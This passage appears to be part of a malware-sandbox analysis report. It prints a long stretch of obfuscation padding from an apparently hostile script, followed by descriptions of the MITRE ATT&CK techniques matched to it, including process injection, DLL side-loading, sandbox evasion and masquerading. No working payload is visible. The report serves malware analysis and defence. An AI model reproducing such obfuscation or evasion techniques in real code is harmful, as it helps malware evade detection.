426	ygxbbrobn = "d";
427	ygxbbrobn = "Y";
428	ygxbbrobn = "C";
429	ygxbbrobn = "A";
430	ygxbbrobn = "f";
431	ygxbbrobn = "j";
432	ygxbbrobn = "Q";
433	ygxbbrobn = "G";
434	ygxbbrobn = "o";
435	ygxbbrobn = "S";
436	ygxbbrobn = "x";
437	ygxbbrobn = "x";
438	ygxbbrobn = "i";
439	ygxbbrobn = "e";
440	ygxbbrobn = "Y";
441	ygxbbrobn = "V";
442	ygxbbrobn = "H";
443	ygxbbrobn = "w";
444	ygxbbrobn = "O";
445	ygxbbrobn = "h";
446	ygxbbrobn = "e";
447	ygxbbrobn = "l";
448	ygxbbrobn = "S";
449	ygxbbrobn = "z";
450	ygxbbrobn = "J";
451	ygxbbrobn = "M";
452	ygxbbrobn = "L";
453	ygxbbrobn = "i";
454	ygxbbrobn = "Y";
455	ygxbbrobn = "Z";
456	ygxbbrobn = "\\";
457	jgeyekfp = "V";
458	jgeyekfp = "J";
459	jgeyekfp = "W";
460	jgeyekfp = "S";
461	jgeyekfp = "m";
462	jgeyekfp = "N";
463	jgeyekfp = "q";
464	jgeyekfp = "L";
465	jgeyekfp = "r";
466	jgeyekfp = "w";
467	jgeyekfp = "P";
468	jgeyekfp = "A";
469	jgeyekfp = "e";
470	jgeyekfp = "x";
471	jgeyekfp = "h";
472	jgeyekfp = "t";
473	jgeyekfp = "V";
474	jgeyekfp = "A";
475	jgeyekfp = "T";
476	jgeyekfp = "g";
477	jgeyekfp = "y";
478	jgeyekfp = "E";
479	jgeyekfp = "z";
480	jgeyekfp = "d";
481	jgeyekfp = "9";
482	laeoxbz = "N";
483	laeoxbz = "x";
484	laeoxbz = "A";
485	laeoxbz = "N";
486	laeoxbz = "g";
487	laeoxbz = "M";
488	laeoxbz = "Q";
489	laeoxbz = "x";
490	laeoxbz = "g";
491	laeoxbz = "G";
492	laeoxbz = "Q";
493	laeoxbz = "A";
494	laeoxbz = "B";
495	laeoxbz = "f";
496	laeoxbz = "P";
497	laeoxbz = "u";
498	laeoxbz = "u";
499	laeoxbz = "g";
500	laeoxbz = "e";
501	laeoxbz = "s";
502	laeoxbz = "q";
503	laeoxbz = "R";
504	laeoxbz = "S";
505	laeoxbz = "D";
506	laeoxbz = "S";
507	laeoxbz = "L";
508	laeoxbz = "l";
509	laeoxbz = "b";
510	laeoxbz = "N";
511	laeoxbz = "D";
512	laeoxbz = "V";
513	laeoxbz = "f";
514	laeoxbz = "R";
515	laeoxbz = "u";
516	laeoxbz = "O";
517	laeoxbz = "G";
518	laeoxbz = "b";
519	laeoxbz = "h";
520	laeoxbz = "U";
521	laeoxbz = "o";
522	laeoxbz = "q";
523	laeoxbz = "u";
524	laeoxbz = "V";
525	laeoxbz = "B";
526	laeoxbz = "i";
527	vbeiszekd = "k";
528	vbeiszekd = "m";
529	vbeiszekd = "j";
530	vbeiszekd = "E";
531	vbeiszekd = "C";
532	vbeiszekd = "C";
533	nxbjxx = "O";
534	nxbjxx = "T";
535	nxbjxx = "w";
536	nxbjxx = "T";
537	nxbjxx = "n";
538	nxbjxx = "U";
539	nxbjxx = "p";
540	nxbjxx = "L";
541	nxbjxx = "h";
542	nxbjxx = "m";
543	nxbjxx = "o";
544	nxbjxx = "p";
545	nxbjxx = "p";
546	nxbjxx = "M";
547	nxbjxx = "v";
548	nxbjxx = "V";
549	nxbjxx = "v";
550	nxbjxx = "z";
551	nxbjxx = "k";
552	nxbjxx = "T";
553	nxbjxx = "B";
554	nxbjxx = "u";
555	nxbjxx = "j";
556	nxbjxx = "Q";
557	nxbjxx = "b";
558	nxbjxx = "G";
559	nxbjxx = "A";
560	nxbjxx = "L";
561	nxbjxx = "i";
562	nxbjxx = "p";
563	nxbjxx = "o";
564	nxbjxx = "p";
565	nxbjxx = "a";
566	ngesorct = "Z";
567	ngesorct = "T";
568	ngesorct = "y";
569	ngesorct = "s";
570	ngesorct = "M";
571	ngesorct = "B";
572	ngesorct = "w";
573	ngesorct = "d";
574	ngesorct = "j";
575	ngesorct = "r";
576	ngesorct = "N";
577	glcyclgsw = "L";
578	glcyclgsw = "T";
579	glcyclgsw = "o";
580	glcyclgsw = "Z";
581	glcyclgsw = "e";
582	glcyclgsw = "j";
583	glcyclgsw = "g";
584	glcyclgsw = "E";
585	glcyclgsw = "Z";
586	glcyclgsw = "f";
587	glcyclgsw = "s";
588	glcyclgsw = "L";
589	glcyclgsw = "z";
590	glcyclgsw = "I";
591	glcyclgsw = "Z";
592	glcyclgsw = "n";
593	glcyclgsw = "M";
594	glcyclgsw = "T";
595	glcyclgsw = "n";
596	glcyclgsw = "K";
597	glcyclgsw = "S";
598	glcyclgsw = "X";
599	glcyclgsw = "O";
600	glcyclgsw = "G";
601	glcyclgsw = "u";
602	glcyclgsw = "c";
603	glcyclgsw = "i";
604	glcyclgsw = "m";
605	glcyclgsw = "g";
606	glcyclgsw = "j";
607	glcyclgsw = "H";
608	glcyclgsw = "X";
609	glcyclgsw = "j";
610	glcyclgsw = "Q";
611	glcyclgsw = "R";
612	glcyclgsw = "o";
613	glcyclgsw = "5";
614	rokudfc = "m";
615	rokudfc = "C";
616	rokudfc = "J";
617	rokudfc = "N";
618	rokudfc = "I";
619	rokudfc = "n";
620	rokudfc = "y";
621	rokudfc = "k";
622	rokudfc = "m";
623	rokudfc = "i";
624	rokudfc = "J";
625	rokudfc = "N";
626	rokudfc = "F";
627	rokudfc = "r";
628	rokudfc = "w";
629	rokudfc = "s";
630	ozgew = "a";
631	ozgew = "Y";
632	ozgew = "x";
633	ozgew = "w";
634	ozgew = "H";
635	ozgew = "V";
636	ozgew = "r";
637	ozgew = "L";
638	ozgew = "n";
639	ozgew = "J";
640	ozgew = "M";
641	ozgew = "y";
642	ozgew = "Y";
643	ozgew = "e";
644	ozgew = "i";
645	ozgew = "G";
646	ozgew = "s";
647	ozgew = "I";
648	ozgew = "&";
649	sthzidj = "h";
650	sthzidj = "P";
651	sthzidj = "h";
652	sthzidj = "k";
653	sthzidj = "U";
654	sthzidj = "i";
655	sthzidj = "r";
656	sthzidj = "R";
657	sthzidj = "R";
658	sthzidj = "a";
659	sthzidj = "E";
660	sthzidj = "j";
661	sthzidj = "h";
662	sthzidj = "h";
663	sthzidj = "a";
664	sthzidj = "y";
665	sthzidj = "v";
666	sthzidj = "K";
667	sthzidj = "h";
668	iqttrwjn = "V";
669	iqttrwjn = "p";
670	iqttrwjn = "g";
671	iqttrwjn = "x";
672	iqttrwjn = "G";
673	iqttrwjn = "C";
674	iqttrwjn = "j";
675	iqttrwjn = "m";
676	iqttrwjn = "L";
677	iqttrwjn = "Y";
678	iqttrwjn = "M";
679	iqttrwjn = "q";
680	iqttrwjn = "l";
681	iqttrwjn = "b";
682	iqttrwjn = "q";
683	iqttrwjn = "V";
684	iqttrwjn = "C";
685	iqttrwjn = "D";
686	iqttrwjn = "q";
687	iqttrwjn = "l";
688	iqttrwjn = "j";
689	iqttrwjn = "A";
690	iqttrwjn = "F";
691	iqttrwjn = "I";
692	iqttrwjn = "g";
693	iqttrwjn = "A";
694	iqttrwjn = "s";
695	iqttrwjn = "H";
696	iqttrwjn = "K";
697	iqttrwjn = "u";
698	iqttrwjn = "/";
699	trkvep = "M";
700	trkvep = "E";
701	trkvep = "J";
702	trkvep = "m";
703	trkvep = "q";
704	trkvep = "n";
705	trkvep = "C";
706	trkvep = "t";
707	trkvep = "b";
708	trkvep = "w";
709	trkvep = "q";
710	trkvep = "V";
711	trkvep = "m";
712	trkvep = "h";
713	trkvep = "u";
714	trkvep = "e";
715	trkvep = "B";
716	trkvep = "I";
717	oxbulrmov = "r";
718	oxbulrmov = "Z";
719	oxbulrmov = "i";
720	oxbulrmov = "m";
721	oxbulrmov = "G";
722	oxbulrmov = "F";
723	oxbulrmov = "e";
724	oxbulrmov = "C";
725	oxbulrmov = "A";
726	oxbulrmov = "k";
727	oxbulrmov = "Q";
728	oxbulrmov = "D";
729	oxbulrmov = "w";
730	oxbulrmov = "x";
731	oxbulrmov = "w";
732	oxbulrmov = "1";
733	qxztli = "j";
734	qxztli = "O";
735	qxztli = "c";
736	qxztli = "M";
737	qxztli = "q";
738	qxztli = "p";
739	qxztli = "M";
740	qxztli = "W";
741	qxztli = "A";
742	qxztli = "Y";
743	qxztli = "A";
744	qxztli = "B";
745	qxztli = "U";
746	qxztli = "N";
747	qxztli = "P";
748	qxztli = "P";
749	qxztli = "n";
750	qxztli = "i";
751	qxztli = "B";
752	qxztli = "L";
753	qxztli = "e";
754	qxztli = "V";
755	qxztli = "k";
756	qxztli = "G";
757	qxztli = "c";
758	qxztli = "t";
759	qxztli = "I";
760	qxztli = "X";
761	qxztli = "H";
762	hrgpkq = "S";
763	hrgpkq = "0";
764	xsiqhz = "U";
765	xsiqhz = "W";
766	xsiqhz = "R";
767	xsiqhz = "v";
768	xsiqhz = "f";
769	xsiqhz = "m";
770	xsiqhz = "l";
771	xsiqhz = "J";
772	xsiqhz = "I";
773	xsiqhz = "W";
774	xsiqhz = "o";
775	xsiqhz = "i";
776	xsiqhz = "O";
777	xsiqhz = "Q";
778	xsiqhz = "W";
779	xsiqhz = "x";
780	xsiqhz = "E";
781	vhdpjnbs = "W";
782	vhdpjnbs = "M";
783	vhdpjnbs = "K";
784	vhdpjnbs = "K";
785	vhdpjnbs = "o";
786	ovgtggn = "L";
787	ovgtggn = "X";
788	ovgtggn = "G";
789	ovgtggn = "z";
790	ovgtggn = "s";
791	ovgtggn = "E";
792	ovgtggn = "S";
793	wdlvwi = "x";
794	kbwmzwpjp = "Y";
795	kbwmzwpjp = "Y";
796	kbwmzwpjp = "I";
797	kbwmzwpjp = "o";
798	kbwmzwpjp = "U";
799	ucypv = "F";
800	ucypv = "w";
801	ucypv = "E";
802	ucypv = "V";
803	ucypv = "d";
804	ucypv = "C";
805	ucypv = "l";
806	ucypv = "N";
807	ucypv = "z";
808	ucypv = "F";
809	ucypv = "F";
810	ucypv = "J";
811	ucypv = "Q";
812	ucypv = "G";
813	ucypv = "2";
814	vwhsly = "s";
815	vwhsly = "w";
816	vwhsly = "S";
817	vwhsly = "e";
818	vwhsly = "N";
819	vwhsly = "d";
820	vwhsly = "K";
821	vwhsly = "b";
822	vwhsly = "a";
823	vwhsly = "c";
824	vwhsly = "P";
825	vwhsly = "g";
826	vwhsly = "q";
827	vwhsly = "i";
828	vwhsly = "i";
829	vwhsly = "Y";
830	vwhsly = "L";
831	vwhsly = "c";
832	vwhsly = "n";
833	vwhsly = "V";
834	vwhsly = "X";
835	vwhsly = "i";
836	vwhsly = "C";
837	vwhsly = "P";
838	vwhsly = "V";
839	vwhsly = "T";
840	vwhsly = "m";
841	zdbfbdrhl = "E";
842	zdbfbdrhl = "e";
843	zdbfbdrhl = "C";
844	zdbfbdrhl = "L";
845	zdbfbdrhl = "c";
846	zdbfbdrhl = "D";
847	zdbfbdrhl = "N";
848	zdbfbdrhl = "M";
849	zdbfbdrhl = "U";
850	zdbfbdrhl = "L";
851	zdbfbdrhl = "d";
852	zdbfbdrhl = "f";
853	zdbfbdrhl = "Q";
854	zdbfbdrhl = "l";
855	zdbfbdrhl = "o";
856	zdbfbdrhl = "r";
857	zdbfbdrhl = "k";
858	zdbfbdrhl = "f";
859	zdbfbdrhl = "R";
860	zdbfbdrhl = "z";
861	zdbfbdrhl = "T";
862	zdbfbdrhl = "b";
863	zdbfbdrhl = "k";
864	zdbfbdrhl = "Z";
865	zdbfbdrhl = "d";
866	zdbfbdrhl = "k";
867	zdbfbdrhl = "P";
868	zdbfbdrhl = "B";
869	zdbfbdrhl = "F";
870	zdbfbdrhl = "j";
871	zdbfbdrhl = "U";
872	zdbfbdrhl = "Q";
873	zdbfbdrhl = "O";
874	zdbfbdrhl = "D";
875	zdbfbdrhl = "c";
876	zdbfbdrhl = "I";
877	zdbfbdrhl = "z";
878	zdbfbdrhl = "B";
879	zdbfbdrhl = "w";
880	zdbfbdrhl = "u";
881	zdbfbdrhl = "F";
882	zdbfbdrhl = "X";
883	zdbfbdrhl = "q";
884	zdbfbdrhl = "b";
885	vmugw = "P";
886	vmugw = "m";
887	vmugw = "Z";
888	vmugw = "T";
889	vmugw = "y";
890	vmugw = "a";
891	vmugw = "_";
892	cxxxyuz = "g";
893	cxxxyuz = "X";
894	cxxxyuz = "u";
895	cxxxyuz = "W";
896	cxxxyuz = "B";
897	cxxxyuz = "d";
898	cxxxyuz = "Y";
899	cxxxyuz = "q";
900	cxxxyuz = "q";
901	cxxxyuz = "v";
902	cxxxyuz = "A";
903	cxxxyuz = "N";
904	cxxxyuz = "i";
905	cxxxyuz = "J";
906	cxxxyuz = "y";
907	cxxxyuz = "E";
908	cxxxyuz = "v";
909	cxxxyuz = "Z";
910	cxxxyuz = "l";
911	cxxxyuz = "R";
912	cxxxyuz = "Q";
913	cxxxyuz = "D";
914	cxxxyuz = "Y";
915	cxxxyuz = "k";
916	cxxxyuz = "s";
917	cxxxyuz = "P";
918	cxxxyuz = "z";
919	cxxxyuz = "O";
920	cxxxyuz = "v";
921	cxxxyuz = "e";
922	cxxxyuz = "Q";
923	cxxxyuz = "H";
924	cxxxyuz = "O";
925	cxxxyuz = "f";
926	cxxxyuz = "B";
927	cxxxyuz = "x";
928	cxxxyuz = "C";
929	cxxxyuz = "c";
930	cxxxyuz = "W";
931	cxxxyuz = "S";
932	cxxxyuz = "W";
933	cxxxyuz = "M";
934	cxxxyuz = "Y";
935	cxxxyuz = "U";
936	cxxxyuz = "K";
937	jarofipua = "r";
938	jarofipua = "F";
939	jarofipua = "p";
940	jarofipua = "k";
941	jarofipua = "w";
942	jarofipua = "O";
943	jarofipua = "a";
944	jarofipua = "T";
945	jarofipua = "N";
946	jarofipua = "L";
947	jarofipua = "M";
948	jarofipua = "U";
949	jarofipua = "e";
950	jarofipua = "T";
951	jarofipua = "D";
952	jarofipua = "B";
953	jarofipua = "N";
954	jarofipua = "F";
955	mvyzm = "V";
956	mvyzm = "G";
957	mvyzm = "A";
958	mvyzm = "G";
959	mvyzm = "k";
960	mvyzm = "S";
961	mvyzm = "U";
962	mvyzm = "O";
963	mvyzm = "f";
964	mvyzm = "a";
965	mvyzm = "G";
966	mvyzm = "f";
967	rnemgh = "i";
968	rnemgh = "n";
969	rnemgh = "j";
970	rnemgh = "r";
971	rnemgh = "W";
972	rnemgh = "r";
973	rnemgh = "p";
974	rnemgh = "h";
975	rnemgh = "Y";
976	rnemgh = "W";
977	rnemgh = "v";
978	rnemgh = "p";
979	rnemgh = "J";
980	rnemgh = "L";
981	rnemgh = "h";
982	rnemgh = "t";
983	rnemgh = "M";
984	rnemgh = "z";
985	rnemgh = "D";
986	rnemgh = "h";
987	rnemgh = "q";
988	kkbtkw = "H";
989	kkbtkw = "l";
990	kkbtkw = "a";
991	kkbtkw = "o";
992	kkbtkw = "j";
993	kkbtkw = "J";
994	kkbtkw = "Y";
995	kkbtkw = "P";
996	kkbtkw = "S";
997	kkbtkw = "u";
998	kkbtkw = "M";
999	kkbtkw = "T";
1000	kkbtkw = "s";
1001	kkbtkw = "L";
1002	kkbtkw = "b";
1003	kkbtkw = "x";
1004	kkbtkw = "L";
1005	kkbtkw = "f";
1006	kkbtkw = "f";
1007	kkbtkw = "F";
1008	kkbtkw = "X";
1009	kkbtkw = "i";
1010	kkbtkw = "m";
1011	kkbtkw = "y";
1012	kkbtkw = "I";
1013	kkbtkw = "H";
1014	kkbtkw = "k";
1015	kkbtkw = "F";
1016	kkbtkw = "E";
1017	kkbtkw = "j";
1018	kkbtkw = "e";
1019	kkbtkw = "q";
1020	kkbtkw = "P";
1021	kkbtkw = "w";
1022	kkbtkw = " ";
1023	jlwpfnb = "I";
1024	jlwpfnb = "j";
1025	jlwpfnb = "s";
1026	jlwpfnb = "W";
1027	jlwpfnb = "x";
1028	jlwpfnb = "I";
1029	jlwpfnb = "y";
1030	jlwpfnb = "a";
1031	jlwpfnb = "g";
1032	jlwpfnb = "l";
1033	jlwpfnb = "O";
1034	jlwpfnb = "x";
1035	jlwpfnb = "h";
1036	jlwpfnb = "R";
1037	jlwpfnb = "T";
1038	jlwpfnb = "k";
1039	jlwpfnb = "o";
1040	jlwpfnb = "g";
1041	jlwpfnb = "T";
1042	jzsecxi = "z";
1043	jzsecxi = "Q";
1044	jzsecxi = "w";
1045	jzsecxi = "l";
1046	jzsecxi = "i";
1047	jzsecxi = "o";
1048	jzsecxi = "e";
1049	jzsecxi = "I";
1050	jzsecxi = "O";
1051	jzsecxi = "r";
1052	jzsecxi = "w";
1053	jzsecxi = "L";
1054	jzsecxi = "j";
1055	jzsecxi = "n";
1056	oldoa = "P";
1057	oldoa = "X";
1058	oldoa = "L";
1059	oldoa = "q";
1060	oldoa = "X";
1061	oldoa = "V";
1062	oldoa = "j";
1063	oldoa = "Y";
1064	oldoa = "g";
1065	oldoa = "Z";
1066	oldoa = "E";
1067	oldoa = "B";
1068	oldoa = "v";
1069	oldoa = "w";
1070	oldoa = "f";
1071	oldoa = "d";
1072	oldoa = "Y";
1073	oldoa = "P";
1074	oldoa = "g";
1075	oldoa = "A";
1076	oldoa = "H";
1077	oldoa = "I";
1078	oldoa = "q";
1079	oldoa = "B";
1080	oldoa = "d";
1081	oldoa = "s";
1082	oldoa = "e";
1083	oldoa = "Z";
1084	oldoa = "l";
1085	oldoa = "k";
1086	oldoa = "I";
1087	oldoa = "e";
1088	oldoa = "G";
1089	oldoa = "V";
1090	oldoa = "J";
1091	oldoa = "W";
1092	oldoa = "r";
1093	iizkghlb = "G";
1094	iizkghlb = "C";
1095	iizkghlb = "Z";
1096	iizkghlb = "x";
1097	iizkghlb = "v";
1098	iizkghlb = "b";
1099	iizkghlb = "r";
1100	iizkghlb = "i";
1101	iizkghlb = "l";
1102	iizkghlb = "q";
1103	iizkghlb = "R";
1104	iizkghlb = "L";
1105	iizkghlb = "O";
1106	iizkghlb = "V";
1107	iizkghlb = "Z";
1108	iizkghlb = "V";
1109	iizkghlb = "7";
1110	tvmwzuq = "S";
1111	tvmwzuq = "l";
1112	tvmwzuq = "E";
1113	tvmwzuq = "L";
1114	tvmwzuq = "a";
1115	tvmwzuq = "V";
1116	tvmwzuq = "L";
1117	tvmwzuq = "q";
1118	tvmwzuq = "D";
1119	tvmwzuq = "D";
1120	tvmwzuq = "V";
1121	tvmwzuq = "Q";
1122	tvmwzuq = "u";
1123	tvmwzuq = "-";
1124	lhyoiqmxn = "c";
1125	lhyoiqmxn = "Q";
1126	lhyoiqmxn = "k";
1127	lhyoiqmxn = "J";
1128	lhyoiqmxn = "g";
1129	lhyoiqmxn = "g";
1130	lhyoiqmxn = "R";
1131	lhyoiqmxn = "b";
1132	lhyoiqmxn = "f";
1133	lhyoiqmxn = "i";
1134	lhyoiqmxn = "t";
1135	lhyoiqmxn = "x";
1136	lhyoiqmxn = "M";
1137	lhyoiqmxn = "r";
1138	lhyoiqmxn = "U";
1139	lhyoiqmxn = "k";
1140	lhyoiqmxn = "q";
1141	lhyoiqmxn = "c";
1142	lhyoiqmxn = "e";
1143	lriuizx = "e";
1144	lriuizx = "a";
1145	lriuizx = "Q";
1146	lriuizx = "g";
1147	lriuizx = "g";
1148	lriuizx = "F";
1149	lriuizx = "m";
1150	lriuizx = "x";
1151	lriuizx = "j";
1152	lriuizx = "W";
1153	lriuizx = "w";
1154	lriuizx = "W";
1155	lriuizx = "p";
1156	mydptfj = "O";
1157	mydptfj = "H";
1158	mydptfj = "o";
1159	mydptfj = "V";
1160	mydptfj = "s";
1161	mydptfj = "u";
1162	mydptfj = "h";
1163	mydptfj = "u";
1164	ptavvdsa = "Z";
1165	ptavvdsa = "a";
1166	ptavvdsa = "s";
1167	ptavvdsa = "x";
1168	ptavvdsa = "W";
1169	ptavvdsa = "M";
1170	ptavvdsa = "g";
1171	ptavvdsa = "3";
1172	aaqhmwgp = "Y";
1173	aaqhmwgp = "x";
1174	aaqhmwgp = "k";
1175	aaqhmwgp = "N";
1176	aaqhmwgp = "h";
1177	aaqhmwgp = "R";
1178	aaqhmwgp = "L";
1179	aaqhmwgp = "E";
1180	aaqhmwgp = "U";
1181	aaqhmwgp = "E";
1182	aaqhmwgp = "x";
1183	aaqhmwgp = "y";
1184	aaqhmwgp = "M";
1185	aaqhmwgp = "b";
1186	aaqhmwgp = "q";
1187	aaqhmwgp = "o";
1188	aaqhmwgp = "I";
1189	aaqhmwgp = "Y";
1190	aaqhmwgp = "n";
1191	aaqhmwgp = "v";
1192	byuvw = "B";
1193	byuvw = "a";
1194	byuvw = "M";
1195	byuvw = "V";
1196	byuvw = "k";
1197	byuvw = "d";
1198	byuvw = "C";
1199	byuvw = "t";
1200	byuvw = "v";
1201	byuvw = "l";
1202	byuvw = "j";
1203	byuvw = "c";
1204	byuvw = "j";
1205	byuvw = "e";
1206	byuvw = "t";
1207	byuvw = "W";
1208	byuvw = "%";
1209	hjcygmdao = "e";
1210	hjcygmdao = "r";
1211	hjcygmdao = "X";
1212	hjcygmdao = "R";
1213	hjcygmdao = "L";
1214	hjcygmdao = "o";
1215	hjcygmdao = "f";
1216	hjcygmdao = "f";
1217	hjcygmdao = "T";
1218	hjcygmdao = "Z";
1219	hjcygmdao = "j";
1220	hjcygmdao = "t";
1221	hjcygmdao = "V";
1222	hjcygmdao = "K";
1223	hjcygmdao = "h";
1224	hjcygmdao = "I";
1225	hjcygmdao = "l";
1226	hjcygmdao = "O";
1227	hjcygmdao = "i";
1228	hjcygmdao = "A";
1229	hjcygmdao = "p";
1230	hjcygmdao = "s";
1231	hjcygmdao = "u";
1232	hjcygmdao = "n";
1233	hjcygmdao = "B";
1234	hjcygmdao = "w";
1235	hjcygmdao = "M";
1236	hjcygmdao = "B";
1237	hjcygmdao = "U";
1238	hjcygmdao = "8";
1239	idoig = "E";
1240	idoig = "I";
1241	idoig = "f";
1242	idoig = "Y";
1243	idoig = "D";
1244	idoig = "c";
1245	idoig = "j";
1246	idoig = "w";
1247	idoig = "E";
1248	idoig = "p";
1249	idoig = "y";
1250	idoig = "Z";
1251	idoig = "X";
1252	idoig = "N";
1253	idoig = "g";
1254	idoig = "P";
1255	idoig = "Q";
1256	idoig = "E";
1257	idoig = "L";
1258	idoig = "Q";
1259	idoig = "K";
1260	idoig = "U";
1261	idoig = "w";
1262	idoig = "l";
1263	idoig = "B";
1264	idoig = "T";
1265	idoig = "k";
1266	xufiuoznu = "O";
1267	xufiuoznu = "j";
1268	xufiuoznu = "g";
1269	xufiuoznu = "J";
1270	xufiuoznu = "u";
1271	xufiuoznu = "g";
1272	xufiuoznu = "g";
1273	xufiuoznu = "U";
1274	xufiuoznu = "M";
1275	xufiuoznu = "r";
1276	xufiuoznu = "x";
1277	xufiuoznu = "V";
1278	xufiuoznu = "l";
1279	xufiuoznu = "M";
1280	xufiuoznu = "D";
1281	xufiuoznu = "b";
1282	xufiuoznu = "s";
1283	xufiuoznu = "Q";
1284	xufiuoznu = "f";
1285	xufiuoznu = "H";
1286	xufiuoznu = "F";
1287	xufiuoznu = "O";
1288	dqvnab = "n";
1289	dqvnab = "C";
1290	dqvnab = "f";
1291	dqvnab = "F";
1292	dqvnab = "D";
1293	dqvnab = "w";
1294	dqvnab = "A";
1295	dqvnab = "e";
1296	dqvnab = "s";
1297	dqvnab = "Y";
1298	dqvnab = "n";
1299	dqvnab = "R";
1300	dqvnab = "4";
1301	odmnpwd = "W";
1302	odmnpwd = "e";
1303	odmnpwd = "j";
1304	odmnpwd = "d";
1305	odmnpwd = "j";
1306	odmnpwd = "c";
1307	odmnpwd = "B";
1308	odmnpwd = "W";
1309	odmnpwd = "A";
1310	odmnpwd = "B";
1311	odmnpwd = "X";
1312	odmnpwd = "I";
1313	odmnpwd = "I";
1314	odmnpwd = "V";
1315	odmnpwd = "J";
1316	odmnpwd = "o";
1317	odmnpwd = "j";
1318	cesnsmx ( );	cesnsmx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

